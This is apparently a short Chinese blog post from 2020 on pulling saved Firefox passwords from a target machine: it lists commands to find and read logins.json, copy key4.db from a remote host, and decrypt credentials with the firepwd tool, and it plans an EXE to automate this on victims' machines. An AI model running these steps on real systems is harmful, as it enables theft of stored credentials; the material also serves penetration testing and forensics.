Firefox 密码脱取

Firefox 密码脱取

正常获取

访问 about:logins


配置文件获取

信息:

  • Website address
  • Username
  • Password
  • Created
  • Last modified
  • Last used

保存位置

%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\ #xxxxxxxx 为随机字母和数字的组合

logins.json文件

dir %APPDATA%\Mozilla\Firefox\Profiles\*logins.json /s /b

查看内容

type   C:\Users\x\AppData\Roaming\Mozilla\Firefox\Profiles\xx.default-release\logins.json

可以查看到,所记录的URL,用户名,加密后的密码。创建时间等信息。

工具firepwd

https://github.com/lclevy/firepwd

python3 -m pip install -r requirements.txt ##安装 PyCryptodome>=3.9.0   pyasn1>=0.4.8

下载远程主机的 C:\Users\x\AppData\Roaming\Mozilla\Firefox\Profiles\xx.default-release\ 目录下的

  • key4.db
  • logins.json

本地执行

python firepwd.py -d new_db\


获取到账号密码。

Firefox 配置文件导出

wmic process where name='firefox.exe' get executablepath,processid ##查看火狐浏览器位置
firefox.exe -profile C:\Windows\temp\data1 #启动firefox 并导出

会将Firefox 配置文件导入到指定目录。

未踩的坑

Master Password # 用户手工加了个面膜 (暂时没有遇到目标自己去做这件事,就先不研究了)

如有遇到,解密,用上面的脚本 加-p 参数 输入Master Password的密码 即可,

Todo

1.如果可以在对方机器执行EXE,自己打包python脚本 进行自动化获取

2.或者用go自己写一个..

posted @ 2020-07-02 19:37  0xdd  阅读(1032)  评论(0编辑  收藏  举报